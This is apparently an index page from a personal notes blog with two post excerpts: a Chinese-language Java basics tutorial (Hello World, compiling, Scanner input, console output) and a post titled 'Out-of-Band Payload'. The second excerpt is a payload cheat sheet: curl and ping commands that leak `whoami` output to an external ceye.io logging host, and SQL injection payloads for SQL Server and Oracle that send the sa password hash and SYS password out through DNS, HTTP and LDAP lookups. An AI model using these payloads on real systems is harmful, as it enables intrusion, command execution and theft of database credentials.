Notes Site.

Java基础

post @ 2023-10-10

Java基础

Hello World

编译运行

1
2
3
java源文件 -> class字节码文件 -> java运行class文件
javac java文件  # 输出class字节码文件
java class文件

Hello World

1
2
3
4
5
public class HelloWord {  // 与文件名一致
    public static void main(String[] args) {  // 主函数
        System.out.println("Hello World");
        }
}

主函数

1
2
3
public static void main(String[] args){

}

输入输出

1
2
3
4
5
6
7
8
9
10
11
12
13
输入
import java.util.Scanner

Scanner sc = new Scanner(System.in);

int q = sc.nextInt();
String c = sc.next();

输出
System.out.println(值);  // 换行
sout  // 匹配 

System.out.print(值);    // 不换行
Read More

Out-of-Band Payload

post @ 2023-09-10

0x00 Command Execution

i. nix:

1
2
curl http://ip.port.b182oj.ceye.io/`whoami`
ping `whoami`.ip.port.b182oj.ceye.io

ii. windows

1
ping %USERNAME%.b182oj.ceye.io

0x01 SQL Injection

i. SQL Server

1
2
3
4
5
6
7
DECLARE @host varchar(1024);
SELECT @host=(SELECT TOP 1
master.dbo.fn_varbintohexstr(password_hash)
FROM sys.sql_logins WHERE name='sa')
+'.ip.port.b182oj.ceye.io';
EXEC('master..xp_dirtree
"\\'+@host+'\foobar$"');

ii. Oracle

1
2
3
4
5
SELECT UTL_INADDR.GET_HOST_ADDRESS('ip.port.b182oj.ceye.io');
SELECT UTL_HTTP.REQUEST('http://ip.port.b182oj.ceye.io/oracle') FROM DUAL;
SELECT HTTPURITYPE('http://ip.port.b182oj.ceye.io/oracle').GETCLOB() FROM DUAL;
SELECT DBMS_LDAP.INIT(('oracle.ip.port.b182oj.ceye.io',80) FROM DUAL;
SELECT DBMS_LDAP.INIT((SELECT password FROM SYS.USER$ WHERE name='SYS')||'.ip.port.b182oj.ceye.io',80) FROM DUAL;
Read More
⬆︎TOP